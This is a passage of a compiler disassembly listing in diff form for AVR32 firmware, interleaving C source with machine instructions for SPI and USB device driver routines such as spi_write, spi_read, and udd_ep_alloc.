which is used by AVR32-GCC to + // pass a single argument to a function. + unsigned int int_grp = AVR32_INTC.icr[AVR32_INTC_INT3 - int_level]; +80002fdc: fe 78 08 00 mov r8,-63488 +80002fe0: e0 69 00 83 mov r9,131 +80002fe4: f2 0c 01 0c sub r12,r9,r12 +80002fe8: f0 0c 03 29 ld.w r9,r8[r12<<0x2] + unsigned int int_req = AVR32_INTC.irr[int_grp]; +80002fec: f2 ca ff c0 sub r10,r9,-64 +80002ff0: f0 0a 03 28 ld.w r8,r8[r10<<0x2] + // exception.S will provide the interrupt handler with a clean interrupt stack + // frame, with nothing more pushed onto the stack. The interrupt handler must + // manage the `rete' instruction, what can be done thanks to pure assembly, + // inline assembly or the `__attribute__((__interrupt__))' C function + // attribute. + return (int_req) ? _int_handler_table[int_grp]._int_line_handler_table[32 - clz(int_req) - 1] : NULL; +80002ff4: 58 08 cp.w r8,0 +80002ff6: c0 21 brne 80002ffa <_get_interrupt_handler+0x1e> +80002ff8: 5e fd retal 0 +80002ffa: f0 08 12 00 clz r8,r8 +80002ffe: 48 5a lddpc r10,80003010 <_get_interrupt_handler+0x34> +80003000: f4 09 00 39 add r9,r10,r9<<0x3 +80003004: f0 08 11 1f rsub r8,r8,31 +80003008: 72 19 ld.w r9,r9[0x4] +8000300a: f2 08 03 2c ld.w r12,r9[r8<<0x2] +} +8000300e: 5e fc retal r12 +80003010: 80 00 ld.sh r0,r0[0x0] +80003012: 7e 40 ld.w r0,pc[0x10] + +80003014 : +#endif + + +int16_t getBaudDiv(const unsigned int baudrate, uint32_t pba_hz) +{ + int baudDiv = (pba_hz + baudrate / 2) / baudrate; +80003014: f8 08 16 01 lsr r8,r12,0x1 +80003018: 10 0b add r11,r8 +8000301a: f6 0c 0d 0a divu r10,r11,r12 +8000301e: 14 9c mov r12,r10 + + if (baudDiv <= 0 || baudDiv > 255) { +80003020: f4 c8 00 01 sub r8,r10,1 + return -1; + } + + return baudDiv; +80003024: 5c 8c casts.h r12 + +int16_t getBaudDiv(const unsigned int baudrate, uint32_t pba_hz) +{ + int baudDiv = (pba_hz + baudrate / 2) / baudrate; + + if (baudDiv <= 0 || baudDiv > 255) { +80003026: e0 48 00 ff cp.w r8,255 +8000302a: 5e 3c retlo r12 +8000302c: 5e 2e reths -1 + +8000302e : + +spi_status_t spi_initMaster(volatile avr32_spi_t *spi, const spi_options_t *options) +{ + u_avr32_spi_mr_t u_avr32_spi_mr; + + if (options->modfdis > 1) { +8000302e: f7 39 00 0d ld.ub r9,r11[13] +80003032: 30 18 mov r8,1 +80003034: f0 09 18 00 cp.b r9,r8 +80003038: e0 88 00 04 brls 80003040 +8000303c: 30 2c mov r12,2 +8000303e: 5e fc retal r12 + return SPI_ERROR_ARGUMENT; + } + + // Reset. + spi->cr = AVR32_SPI_CR_SWRST_MASK; +80003040: e0 68 00 80 mov r8,128 +80003044: 99 08 st.w r12[0x0],r8 + + // Master Mode. + u_avr32_spi_mr.mr = spi->mr; +80003046: 78 18 ld.w r8,r12[0x4] + u_avr32_spi_mr.MR.mstr = 1; +80003048: 30 19 mov r9,1 +8000304a: f1 d9 d0 01 bfins r8,r9,0x0,0x1 + u_avr32_spi_mr.MR.modfdis = options->modfdis; +8000304e: f7 39 00 0d ld.ub r9,r11[13] +80003052: f1 d9 d0 81 bfins r8,r9,0x4,0x1 + u_avr32_spi_mr.MR.llb = 0; +80003056: 30 09 mov r9,0 +80003058: f1 d9 d0 e1 bfins r8,r9,0x7,0x1 + u_avr32_spi_mr.MR.pcs = (1 << AVR32_SPI_MR_PCS_SIZE) - 1; +8000305c: 30 fa mov r10,15 +8000305e: f1 da d2 04 bfins r8,r10,0x10,0x4 + spi->mr = u_avr32_spi_mr.mr; +80003062: 99 18 st.w r12[0x4],r8 +80003064: 5e f9 retal r9 + +80003066 : + +spi_status_t spi_selectionMode(volatile avr32_spi_t *spi, + unsigned char variable_ps, + unsigned char pcs_decode, + unsigned char delay) +{ +80003066: d4 01 pushm lr + u_avr32_spi_mr_t u_avr32_spi_mr; + + if (variable_ps > 1 || +80003068: 30 18 mov r8,1 +8000306a: f0 0b 18 00 cp.b r11,r8 +8000306e: 5f be srhi lr +80003070: f0 0a 18 00 cp.b r10,r8 +80003074: 5f b8 srhi r8 +80003076: fd e8 10 08 or r8,lr,r8 +8000307a: c0 30 breq 80003080 +8000307c: 30 2c mov r12,2 +8000307e: d8 02 popm pc + pcs_decode > 1) { + return SPI_ERROR_ARGUMENT; + } + + u_avr32_spi_mr.mr = spi->mr; +80003080: 78 18 ld.w r8,r12[0x4] + u_avr32_spi_mr.MR.ps = variable_ps; +80003082: f1 db d0 21 bfins r8,r11,0x1,0x1 + u_avr32_spi_mr.MR.pcsdec = pcs_decode; +80003086: f1 da d0 41 bfins r8,r10,0x2,0x1 + u_avr32_spi_mr.MR.dlybcs = delay; +8000308a: f1 d9 d3 08 bfins r8,r9,0x18,0x8 + spi->mr = u_avr32_spi_mr.mr; +8000308e: 99 18 st.w r12[0x4],r8 +80003090: d8 0a popm pc,r12=0 + +80003092 : +#ifdef FREERTOS_USED + while (pdFALSE == xSemaphoreTake(xSPIMutex, 20)); +#endif + + // Assert all lines; no peripheral is selected. + spi->mr |= AVR32_SPI_MR_PCS_MASK; +80003092: 78 18 ld.w r8,r12[0x4] +80003094: ea 18 00 0f orh r8,0xf +80003098: 99 18 st.w r12[0x4],r8 + + if (spi->mr & AVR32_SPI_MR_PCSDEC_MASK) { +8000309a: 78 18 ld.w r8,r12[0x4] +8000309c: e2 18 00 04 andl r8,0x4,COH +800030a0: c0 f0 breq 800030be + // The signal is decoded; allow up to 15 chips. + if (chip > 14) { +800030a2: 30 e8 mov r8,14 +800030a4: f0 0b 18 00 cp.b r11,r8 +800030a8: e0 8b 00 19 brhi 800030da + return SPI_ERROR_ARGUMENT; + } + + spi->mr &= ~AVR32_SPI_MR_PCS_MASK | (chip << AVR32_SPI_MR_PCS_OFFSET); +800030ac: 78 18 ld.w r8,r12[0x4] +800030ae: b1 6b lsl r11,0x10 +800030b0: ea 1b ff f0 orh r11,0xfff0 +800030b4: e8 1b ff ff orl r11,0xffff +800030b8: 10 6b and r11,r8 +800030ba: 99 1b st.w r12[0x4],r11 +800030bc: 5e fd retal 0 + } else { + if (chip > 3) { +800030be: 30 38 mov r8,3 +800030c0: f0 0b 18 00 cp.b r11,r8 +800030c4: e0 8b 00 0b brhi 800030da + return SPI_ERROR_ARGUMENT; + } + + spi->mr &= ~(1 << (AVR32_SPI_MR_PCS_OFFSET + chip)); +800030c8: 78 18 ld.w r8,r12[0x4] +800030ca: 2f 0b sub r11,-16 +800030cc: 30 19 mov r9,1 +800030ce: f2 0b 09 4b lsl r11,r9,r11 +800030d2: 5c db com r11 +800030d4: 10 6b and r11,r8 +800030d6: 99 1b st.w r12[0x4],r11 +800030d8: 5e fd retal 0 +800030da: 30 2c mov r12,2 + } + + return SPI_OK; +} +800030dc: 5e fc retal r12 + +800030de : + + +spi_status_t spi_unselectChip(volatile avr32_spi_t *spi, unsigned char chip) +{ +800030de: e0 68 3a 98 mov r8,15000 + unsigned int timeout = SPI_TIMEOUT; + + while (!(spi->sr & AVR32_SPI_SR_TXEMPTY_MASK)) { +800030e2: c0 58 rjmp 800030ec + if (!timeout--) { +800030e4: 58 08 cp.w r8,0 +800030e6: c0 21 brne 800030ea +800030e8: 5e ff retal 1 +800030ea: 20 18 sub r8,1 + +spi_status_t spi_unselectChip(volatile avr32_spi_t *spi, unsigned char chip) +{ + unsigned int timeout = SPI_TIMEOUT; + + while (!(spi->sr & AVR32_SPI_SR_TXEMPTY_MASK)) { +800030ec: 78 49 ld.w r9,r12[0x10] +800030ee: e2 19 02 00 andl r9,0x200,COH +800030f2: cf 90 breq 800030e4 + return SPI_ERROR_TIMEOUT; + } + } + + // Assert all lines; no peripheral is selected. + spi->mr |= AVR32_SPI_MR_PCS_MASK; +800030f4: 78 18 ld.w r8,r12[0x4] +800030f6: ea 18 00 0f orh r8,0xf +800030fa: 99 18 st.w r12[0x4],r8 + + // Last transfer, so deassert the current NPCS if CSAAT is set. + spi->cr = AVR32_SPI_CR_LASTXFER_MASK; +800030fc: 30 08 mov r8,0 +800030fe: ea 18 01 00 orh r8,0x100 +80003102: 99 08 st.w r12[0x0],r8 +80003104: 5e fd retal 0 +80003106: d7 03 nop + +80003108 : + + +spi_status_t spi_setupChipReg(volatile avr32_spi_t *spi, + const spi_options_t *options, + uint32_t pba_hz) +{ +80003108: eb cd 40 f8 pushm r3-r7,lr +8000310c: 18 95 mov r5,r12 +8000310e: 16 97 mov r7,r11 + u_avr32_spi_csr_t u_avr32_spi_csr; + + if (options->spi_mode > 3 || +80003110: f7 36 00 0c ld.ub r6,r11[12] +80003114: 30 38 mov r8,3 +80003116: f0 06 18 00 cp.b r6,r8 +8000311a: e0 8b 00 4d brhi 800031b4 + options->stay_act > 1 || +8000311e: f7 34 00 0b ld.ub r4,r11[11] + const spi_options_t *options, + uint32_t pba_hz) +{ + u_avr32_spi_csr_t u_avr32_spi_csr; + + if (options->spi_mode > 3 || +80003122: 30 18 mov r8,1 +80003124: f0 04 18 00 cp.b r4,r8 +80003128: e0 8b 00 46 brhi 800031b4 + options->stay_act > 1 || + options->bits < 8 || options->bits > 16) { +8000312c: f7 33 00 08 ld.ub r3,r11[8] + const spi_options_t *options, + uint32_t pba_hz) +{ + u_avr32_spi_csr_t u_avr32_spi_csr; + + if (options->spi_mode > 3 || +80003130: 30 78 mov r8,7 +80003132: f0 03 18 00 cp.b r3,r8 +80003136: e0 88 00 3f brls 800031b4 +8000313a: 31 08 mov r8,16 +8000313c: f0 03 18 00 cp.b r3,r8 +80003140: e0 8b 00 3a brhi 800031b4 + options->stay_act > 1 || + options->bits < 8 || options->bits > 16) { + return SPI_ERROR_ARGUMENT; + } + + int baudDiv = getBaudDiv(options->baudrate, pba_hz); +80003144: 14 9b mov r11,r10 +80003146: 6e 1c ld.w r12,r7[0x4] +80003148: f0 1f 00 1d mcall 800031bc + + if (baudDiv < 0) { +8000314c: c3 45 brlt 800031b4 + return SPI_ERROR_ARGUMENT; + } + + // Will use CSR0 offsets; these are the same for CSR0 to CSR3. + u_avr32_spi_csr.csr = 0; +8000314e: 30 08 mov r8,0 + u_avr32_spi_csr.CSR.cpol = options->spi_mode >> 1; +80003150: ec 09 16 01 lsr r9,r6,0x1 +80003154: f1 d9 d0 01 bfins r8,r9,0x0,0x1 + u_avr32_spi_csr.CSR.ncpha = (options->spi_mode & 0x1) ^ 0x1; +80003158: ec 16 00 01 eorl r6,0x1 +8000315c: f1 d6 d0 21 bfins r8,r6,0x1,0x1 + u_avr32_spi_csr.CSR.csaat = options->stay_act; +80003160: f1 d4 d0 61 bfins r8,r4,0x3,0x1 + u_avr32_spi_csr.CSR.bits = options->bits - 8; +80003164: 20 83 sub r3,8 +80003166: f1 d3 d0 84 bfins r8,r3,0x4,0x4 + u_avr32_spi_csr.CSR.scbr = baudDiv; +8000316a: f1 dc d1 08 bfins r8,r12,0x8,0x8 + u_avr32_spi_csr.CSR.dlybs = options->spck_delay; +8000316e: ef 39 00 09 ld.ub r9,r7[9] +80003172: f1 d9 d2 08 bfins r8,r9,0x10,0x8 + u_avr32_spi_csr.CSR.dlybct = options->trans_delay; +80003176: ef 39 00 0a ld.ub r9,r7[10] +8000317a: f1 d9 d3 08 bfins r8,r9,0x18,0x8 + + switch(options->reg) { +8000317e: 0f 89 ld.ub r9,r7[0x0] +80003180: 30 1a mov r10,1 +80003182: f4 09 18 00 cp.b r9,r10 +80003186: c0 e0 breq 800031a2 +80003188: c0 a3 brcs 8000319c +8000318a: 30 2a mov r10,2 +8000318c: f4 09 18 00 cp.b r9,r10 +80003190: c0 c0 breq 800031a8 +80003192: 30 3a mov r10,3 +80003194: f4 09 18 00 cp.b r9,r10 +80003198: c0 e1 brne 800031b4 +8000319a: c0 a8 rjmp 800031ae + case 0: + spi->csr0 = u_avr32_spi_csr.csr; +8000319c: 8b c8 st.w r5[0x30],r8 +8000319e: e3 cf 80 f8 ldm sp++,r3-r7,pc,r12=0 + break; + case 1: + spi->csr1 = u_avr32_spi_csr.csr; +800031a2: 8b d8 st.w r5[0x34],r8 +800031a4: e3 cf 80 f8 ldm sp++,r3-r7,pc,r12=0 + break; + case 2: + spi->csr2 = u_avr32_spi_csr.csr; +800031a8: 8b e8 st.w r5[0x38],r8 +800031aa: e3 cf 80 f8 ldm sp++,r3-r7,pc,r12=0 + break; + case 3: + spi->csr3 = u_avr32_spi_csr.csr; +800031ae: 8b f8 st.w r5[0x3c],r8 +800031b0: e3 cf 80 f8 ldm sp++,r3-r7,pc,r12=0 + break; +800031b4: 30 2c mov r12,2 + } + } +#endif + + return SPI_OK; +} +800031b6: e3 cd 80 f8 ldm sp++,r3-r7,pc +800031ba: 00 00 add r0,r0 +800031bc: 80 00 ld.sh r0,r0[0x0] +800031be: 30 14 mov r4,1 + +800031c0 : + + +void spi_enable(volatile avr32_spi_t *spi) +{ + spi->cr = AVR32_SPI_CR_SPIEN_MASK; +800031c0: 30 18 mov r8,1 +800031c2: 99 08 st.w r12[0x0],r8 +} +800031c4: 5e fc retal r12 + +800031c6 : + return ((spi->sr & AVR32_SPI_SR_TDRE_MASK) != 0); +} + + +spi_status_t spi_write(volatile avr32_spi_t *spi, uint16_t data) +{ +800031c6: e0 68 3a 98 mov r8,15000 + unsigned int timeout = SPI_TIMEOUT; + + while (!(spi->sr & AVR32_SPI_SR_TDRE_MASK)) { +800031ca: c0 58 rjmp 800031d4 + if (!timeout--) { +800031cc: 58 08 cp.w r8,0 +800031ce: c0 21 brne 800031d2 +800031d0: 5e ff retal 1 +800031d2: 20 18 sub r8,1 + +spi_status_t spi_write(volatile avr32_spi_t *spi, uint16_t data) +{ + unsigned int timeout = SPI_TIMEOUT; + + while (!(spi->sr & AVR32_SPI_SR_TDRE_MASK)) { +800031d4: 78 49 ld.w r9,r12[0x10] +800031d6: e2 19 00 02 andl r9,0x2,COH +800031da: cf 90 breq 800031cc + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + spi->tdr = data << AVR32_SPI_TDR_TD_OFFSET; +800031dc: 5c 7b castu.h r11 +800031de: 99 3b st.w r12[0xc],r11 +800031e0: 5e fd retal 0 + +800031e2 : + return ((spi->sr & AVR32_SPI_SR_RDRF_MASK) != 0); +} + + +spi_status_t spi_read(volatile avr32_spi_t *spi, unsigned short *data) +{ +800031e2: e0 68 3a 98 mov r8,15000 + unsigned int timeout = SPI_TIMEOUT; + + while ((spi->sr & (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) != +800031e6: c0 58 rjmp 800031f0 + (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) { + if (!timeout--) { +800031e8: 58 08 cp.w r8,0 +800031ea: c0 21 brne 800031ee +800031ec: 5e ff retal 1 +800031ee: 20 18 sub r8,1 + +spi_status_t spi_read(volatile avr32_spi_t *spi, unsigned short *data) +{ + unsigned int timeout = SPI_TIMEOUT; + + while ((spi->sr & (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) != +800031f0: 78 49 ld.w r9,r12[0x10] +800031f2: e2 19 02 01 andl r9,0x201,COH +800031f6: e0 49 02 01 cp.w r9,513 +800031fa: cf 71 brne 800031e8 + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + *data = spi->rdr >> AVR32_SPI_RDR_RD_OFFSET; +800031fc: 78 28 ld.w r8,r12[0x8] +800031fe: b6 08 st.h r11[0x0],r8 +80003200: 5e fd retal 0 + +80003202 : +} + + +void udd_set_address(uint8_t address) +{ + udd_disable_address(); +80003202: fe 68 00 00 mov r8,-131072 +80003206: 70 09 ld.w r9,r8[0x0] +80003208: a7 d9 cbr r9,0x7 +8000320a: 91 09 st.w r8[0x0],r9 + udd_configure_address(address); +8000320c: 70 09 ld.w r9,r8[0x0] +8000320e: f9 dc c0 07 bfextu r12,r12,0x0,0x7 +80003212: e0 19 ff 80 andl r9,0xff80 +80003216: f9 e9 10 09 or r9,r12,r9 +8000321a: 91 09 st.w r8[0x0],r9 + udd_enable_address(); +8000321c: 70 09 ld.w r9,r8[0x0] +8000321e: a7 b9 sbr r9,0x7 +80003220: 91 09 st.w r8[0x0],r9 +} +80003222: 5e fc retal r12 + +80003224 : + + +uint8_t udd_getaddress(void) +{ + return udd_get_configured_address(); +80003224: fe 68 00 00 mov r8,-131072 +80003228: 70 0c ld.w r12,r8[0x0] +} +8000322a: f9 dc c0 07 bfextu r12,r12,0x0,0x7 +8000322e: 5e fc retal r12 + +80003230 : + + +uint16_t udd_get_frame_number(void) +{ + return udd_frame_number(); +80003230: fe 68 00 00 mov r8,-131072 +80003234: 70 8c ld.w r12,r8[0x20] +} +80003236: f9 dc c0 6b bfextu r12,r12,0x3,0xb +8000323a: 5e fc retal r12 + +8000323c : +} + + +void udd_set_setup_payload( uint8_t *payload, uint16_t payload_size ) +{ + udd_g_ctrlreq.payload = payload; +8000323c: 48 28 lddpc r8,80003244 +8000323e: 91 2c st.w r8[0x8],r12 + udd_g_ctrlreq.payload_size = payload_size; +80003240: b0 6b st.h r8[0xc],r11 +} +80003242: 5e fc retal r12 +80003244: 00 00 add r0,r0 +80003246: 04 28 rsub r8,r2 + +80003248 : +} + + +bool udd_ep_is_halted(udd_ep_id_t ep) +{ + return Is_udd_endpoint_stall_requested(ep & USB_EP_ADDR_MASK); +80003248: f1 dc c0 04 bfextu r8,r12,0x0,0x4 +8000324c: a3 68 lsl r8,0x2 +8000324e: e0 38 fe 40 sub r8,130624 +80003252: 70 0c ld.w r12,r8[0x0] +} +80003254: f9 dc c2 61 bfextu r12,r12,0x13,0x1 +80003258: 5e fc retal r12 +8000325a: d7 03 nop + +8000325c : + return true; +} + + +bool udd_ep_clear_halt(udd_ep_id_t ep) +{ +8000325c: d4 01 pushm lr + udd_ep_job_t *ptr_job; + + ep &= USB_EP_ADDR_MASK; +8000325e: f9 dc c0 04 bfextu r12,r12,0x0,0x4 + if (USB_DEVICE_MAX_EP < ep) +80003262: 30 18 mov r8,1 +80003264: f0 0c 18 00 cp.b r12,r8 +80003268: e0 88 00 03 brls 8000326e +8000326c: d8 0a popm pc,r12=0 + return false; + ptr_job = &udd_ep_job[ep - 1]; +8000326e: f8 c8 00 01 sub r8,r12,1 +80003272: a5 68 lsl r8,0x4 +80003274: 49 29 lddpc r9,800032bc +80003276: f2 08 00 08 add r8,r9,r8 + + if (Is_udd_endpoint_stall_requested(ep) // Endpoint stalled +8000327a: a3 6c lsl r12,0x2 +8000327c: fe 6a 01 c0 mov r10,-130624 +80003280: f8 0a 00 09 add r9,r12,r10 +80003284: 72 09 ld.w r9,r9[0x0] +80003286: e6 19 00 08 andh r9,0x8,COH +8000328a: c0 51 brne 80003294 + || ptr_job->stall_requested) { // Endpoint stall is requested +8000328c: 70 09 ld.w r9,r8[0x0] +8000328e: e6 19 40 00 andh r9,0x4000,COH +80003292: c1 40 breq 800032ba + // Remove request to stall + ptr_job->stall_requested = false; +80003294: 70 09 ld.w r9,r8[0x0] +80003296: 30 0a mov r10,0 +80003298: f3 da d3 c1 bfins r9,r10,0x1e,0x1 +8000329c: 91 09 st.w r8[0x0],r9 + // Remove stall + udd_disable_stall_handshake(ep); +8000329e: e0 3c fd e0 sub r12,130528 +800032a2: e8 69 00 00 mov r9,524288 +800032a6: 99 09 st.w r12[0x0],r9 + // If a job is register on clear halt action + // then execute callback + if (ptr_job->busy == true) { +800032a8: 70 09 ld.w r9,r8[0x0] +800032aa: 58 09 cp.w r9,0 +800032ac: c0 74 brge 800032ba + ptr_job->busy = false; +800032ae: f3 da d3 e1 bfins r9,r10,0x1f,0x1 +800032b2: 91 09 st.w r8[0x0],r9 + ptr_job->call_nohalt(); +800032b4: 70 38 ld.w r8,r8[0xc] +800032b6: 5d 18 icall r8 +800032b8: da 0a popm pc,r12=1 +800032ba: da 0a popm pc,r12=1 +800032bc: 00 00 add r0,r0 +800032be: 01 b4 ld.ub r4,r0[0x3] + +800032c0 : + + +static void udd_ctrl_stall_data(void) +{ + // Stall all packets on IN & OUT control endpoint + udd_ep_control_state = UDD_EPCTRL_STALL_REQ; +800032c0: 30 59 mov r9,5 +800032c2: 48 58 lddpc r8,800032d4 +800032c4: 91 09 st.w r8[0x0],r9 + udd_enable_stall_handshake(0); +800032c6: e8 69 00 00 mov r9,524288 +800032ca: fe 68 01 f0 mov r8,-130576 +800032ce: 91 09 st.w r8[0x0],r9 +} +800032d0: 5e fc retal r12 +800032d2: 00 00 add r0,r0 +800032d4: 00 00 add r0,r0 +800032d6: 01 c8 ld.ub r8,r0[0x4] + +800032d8 : + cpu_irq_restore(flags); +} + + +static void udd_ctrl_endofrequest(void) +{ +800032d8: d4 01 pushm lr + // If a callback is registered then call it + if (udd_g_ctrlreq.callback) { +800032da: 48 48 lddpc r8,800032e8 +800032dc: 70 48 ld.w r8,r8[0x10] +800032de: 58 08 cp.w r8,0 +800032e0: c0 20 breq 800032e4 + udd_g_ctrlreq.callback(); +800032e2: 5d 18 icall r8 +800032e4: d8 02 popm pc +800032e6: 00 00 add r0,r0 +800032e8: 00 00 add r0,r0 +800032ea: 04 28 rsub r8,r2 + +800032ec : + udd_ep_finish_job(&udd_ep_job[ep - 1], true); +} + + +static void udd_ep_finish_job(udd_ep_job_t * ptr_job, bool b_abort) +{ +800032ec: d4 01 pushm lr +800032ee: 16 99 mov r9,r11 + if (ptr_job->busy == false) +800032f0: 78 08 ld.w r8,r12[0x0] +800032f2: 58 08 cp.w r8,0 +800032f4: c0 b4 brge 8000330a + return; // No on-going job + ptr_job->busy = false; +800032f6: 30 0a mov r10,0 +800032f8: f1 da d3 e1 bfins r8,r10,0x1f,0x1 +800032fc: 99 08 st.w r12[0x0],r8 + if (NULL == ptr_job->call_trans) +800032fe: 78 38 ld.w r8,r12[0xc] +80003300: 58 08 cp.w r8,0 +80003302: c0 40 breq 8000330a + return; // No callback linked to job + ptr_job->call_trans((b_abort) ? UDD_EP_TRANSFER_ABORT : +80003304: 78 2b ld.w r11,r12[0x8] +80003306: 12 9c mov r12,r9 +80003308: 5d 18 icall r8 +8000330a: d8 02 popm pc + +8000330c : + } +} + + +static void udd_ep_abort_job(udd_ep_id_t ep) +{ +8000330c: d4 01 pushm lr + ep &= USB_EP_ADDR_MASK; + // Abort job on endpoint + udd_ep_finish_job(&udd_ep_job[ep - 1], true); +8000330e: f1 dc c0 04 bfextu r8,r12,0x0,0x4 +80003312: 20 18 sub r8,1 +80003314: a5 68 lsl r8,0x4 +80003316: 30 1b mov r11,1 +80003318: 48 3c lddpc r12,80003324 +8000331a: 10 0c add r12,r8 +8000331c: f0 1f 00 03 mcall 80003328 +} +80003320: d8 02 popm pc +80003322: 00 00 add r0,r0 +80003324: 00 00 add r0,r0 +80003326: 01 b4 ld.ub r4,r0[0x3] +80003328: 80 00 ld.sh r0,r0[0x0] +8000332a: 32 ec mov r12,46 + +8000332c : + return Is_udd_endpoint_stall_requested(ep & USB_EP_ADDR_MASK); +} + + +bool udd_ep_set_halt(udd_ep_id_t ep) +{ +8000332c: d4 01 pushm lr + uint8_t index = ep & USB_EP_ADDR_MASK; +8000332e: f1 dc c0 04 bfextu r8,r12,0x0,0x4 + + if (USB_DEVICE_MAX_EP < index) +80003332: 30 19 mov r9,1 +80003334: f2 08 18 00 cp.b r8,r9 +80003338: e0 88 00 03 brls 8000333e +8000333c: d8 0a popm pc,r12=0 + return false; + if (Is_udd_bank_interrupt_enabled(index)) { +8000333e: f0 09 15 02 lsl r9,r8,0x2 +80003342: fe 6b 01 c0 mov r11,-130624 +80003346: f2 0b 00 0a add r10,r9,r11 +8000334a: 74 0a ld.w r10,r10[0x0] +8000334c: e2 1a 10 00 andl r10,0x1000,COH +80003350: c0 c0 breq 80003368 + // Wait end of transfer (= no busy bank) before stall endpoint + udd_ep_job[index - 1].stall_requested = true; +80003352: 20 18 sub r8,1 +80003354: a5 68 lsl r8,0x4 +80003356: 48 b9 lddpc r9,80003380 +80003358: f2 08 00 08 add r8,r9,r8 +8000335c: 70 09 ld.w r9,r8[0x0] +8000335e: 30 1a mov r10,1 +80003360: f3 da d3 c1 bfins r9,r10,0x1e,0x1 +80003364: 91 09 st.w r8[0x0],r9 +80003366: c0 98 rjmp 80003378 + } else { + // Stall endpoint + udd_enable_stall_handshake(index); +80003368: e0 39 fe 10 sub r9,130576 +8000336c: e8 68 00 00 mov r8,524288 +80003370: 93 08 st.w r9[0x0],r8 + udd_reset_data_toggle(index); +80003372: e4 68 00 00 mov r8,262144 +80003376: 93 08 st.w r9[0x0],r8 + } + udd_ep_abort_job(ep); +80003378: f0 1f 00 03 mcall 80003384 +8000337c: da 0a popm pc,r12=1 +8000337e: 00 00 add r0,r0 +80003380: 00 00 add r0,r0 +80003382: 01 b4 ld.ub r4,r0[0x3] +80003384: 80 00 ld.sh r0,r0[0x0] +80003386: 33 0c mov r12,48 + +80003388 : + return true; +} + + +void udd_ep_free(udd_ep_id_t ep) +{ +80003388: d4 01 pushm lr + udd_disable_endpoint(ep & USB_EP_ADDR_MASK); +8000338a: fe 69 00 00 mov r9,-131072 +8000338e: 72 7b ld.w r11,r9[0x1c] +80003390: f1 dc c0 04 bfextu r8,r12,0x0,0x4 +80003394: 30 1a mov r10,1 +80003396: f4 08 09 4a lsl r10,r10,r8 +8000339a: 5c da com r10 +8000339c: 16 6a and r10,r11 +8000339e: 93 7a st.w r9[0x1c],r10 + udd_unallocate_memory(ep & USB_EP_ADDR_MASK); +800033a0: a3 68 lsl r8,0x2 +800033a2: e0 38 ff 00 sub r8,130816 +800033a6: 70 09 ld.w r9,r8[0x0] +800033a8: a1 d9 cbr r9,0x1 +800033aa: 91 09 st.w r8[0x0],r9 + udd_ep_abort_job(ep); +800033ac: f0 1f 00 02 mcall 800033b4 +} +800033b0: d8 02 popm pc +800033b2: 00 00 add r0,r0 +800033b4: 80 00 ld.sh r0,r0[0x0] +800033b6: 33 0c mov r12,48 + +800033b8 : + + +#if (0!=USB_DEVICE_MAX_EP) +bool udd_ep_alloc(udd_ep_id_t ep, uint8_t bmAttributes, + uint16_t MaxEndpointSize) +{ +800033b8: eb cd 40 e0 pushm r5-r7,lr + bool b_dir_in; + uint16_t ep_allocated; + uint8_t bank, i; + + b_dir_in = ep & USB_EP_DIR_IN; + ep = ep & USB_EP_ADDR_MASK; +800033bc: f1 dc c0 04 bfextu r8,r12,0x0,0x4 + + if (ep > USB_DEVICE_MAX_EP) +800033c0: 30 19 mov r9,1 +800033c2: f2 08 18 00 cp.b r8,r9 +800033c6: e0 8b 00 78 brhi 800034b6 + return false; + if (Is_udd_endpoint_enabled(ep)) +800033ca: fe 69 00 00 mov r9,-131072 +800033ce: 72 7e ld.w lr,r9[0x1c] +800033d0: 30 19 mov r9,1 +800033d2: f2 08 09 49 lsl r9,r9,r8 +800033d6: f3 ee 00 0e and lr,r9,lr +800033da: c6 e1 brne 800034b6 + return false; + + // Bank choise + switch(bmAttributes&USB_EP_TYPE_MASK) { +800033dc: fd db c0 02 bfextu lr,r11,0x0,0x2 +800033e0: 58 1e cp.w lr,1 +800033e2: c6 a5 brlt 800034b6 +800033e4: 58 2e cp.w lr,2 +800033e6: e0 8a 00 06 brle 800033f2 +800033ea: 58 3e cp.w lr,3 +800033ec: c6 51 brne 800034b6 +800033ee: 30 06 mov r6,0 +800033f0: c0 28 rjmp 800033f4 +800033f2: 30 16 mov r6,1 + Assert(MaxEndpointSize < 1024); + Assert((MaxEndpointSize == 1023) || !(MaxEndpointSize & (MaxEndpointSize - 1))); + Assert(MaxEndpointSize >= 8); + + // Set configuration of new endpoint + udd_configure_endpoint(ep, bmAttributes, (b_dir_in ? 1 : 0), +800033f4: f0 0e 15 02 lsl lr,r8,0x2 +800033f8: e0 3e ff 00 sub lr,130816 +800033fc: 7c 07 ld.w r7,lr[0x0] +800033fe: 5c 7a castu.h r10 +80003400: 30 85 mov r5,8 +80003402: f4 05 0c 4a max r10,r10,r5 +80003406: e0 65 04 00 mov r5,1024 +8000340a: f4 05 0d 4a min r10,r10,r5 +8000340e: a1 7a lsl r10,0x1 +80003410: 20 1a sub r10,1 +80003412: f4 0a 12 00 clz r10,r10 +80003416: f9 dc c0 e1 bfextu r12,r12,0x7,0x1 +8000341a: ab 7b lsl r11,0xb +8000341c: e2 1b 18 00 andl r11,0x1800,COH +80003420: f7 ec 10 8c or r12,r11,r12<<0x8 +80003424: f4 0b 11 1c rsub r11,r10,28 +80003428: f9 eb 10 4b or r11,r12,r11<<0x4 +8000342c: f7 e6 10 2b or r11,r11,r6<<0x2 +80003430: e2 1b 19 7c andl r11,0x197c,COH +80003434: 0e 9a mov r10,r7 +80003436: e0 1a e6 83 andl r10,0xe683 +8000343a: f7 ea 10 0a or r10,r11,r10 +8000343e: 9d 0a st.w lr[0x0],r10 + MaxEndpointSize, bank); + ep_allocated = 1 << ep; +80003440: f9 d9 b0 10 bfexts r12,r9,0x0,0x10 + + // Unalloc endpoints superior + for (i = USB_DEVICE_MAX_EP; i > ep; i--) { +80003444: 58 08 cp.w r8,0 +80003446: c1 21 brne 8000346a + if (Is_udd_endpoint_enabled(i)) { +80003448: fe 69 00 00 mov r9,-131072 +8000344c: 72 79 ld.w r9,r9[0x1c] +8000344e: e2 19 00 02 andl r9,0x2,COH +80003452: c0 c0 breq 8000346a + ep_allocated |= 1 << i; +80003454: a1 bc sbr r12,0x1 + udd_disable_endpoint(i); +80003456: fe 69 00 00 mov r9,-131072 +8000345a: 72 7a ld.w r10,r9[0x1c] +8000345c: a1 da cbr r10,0x1 +8000345e: 93 7a 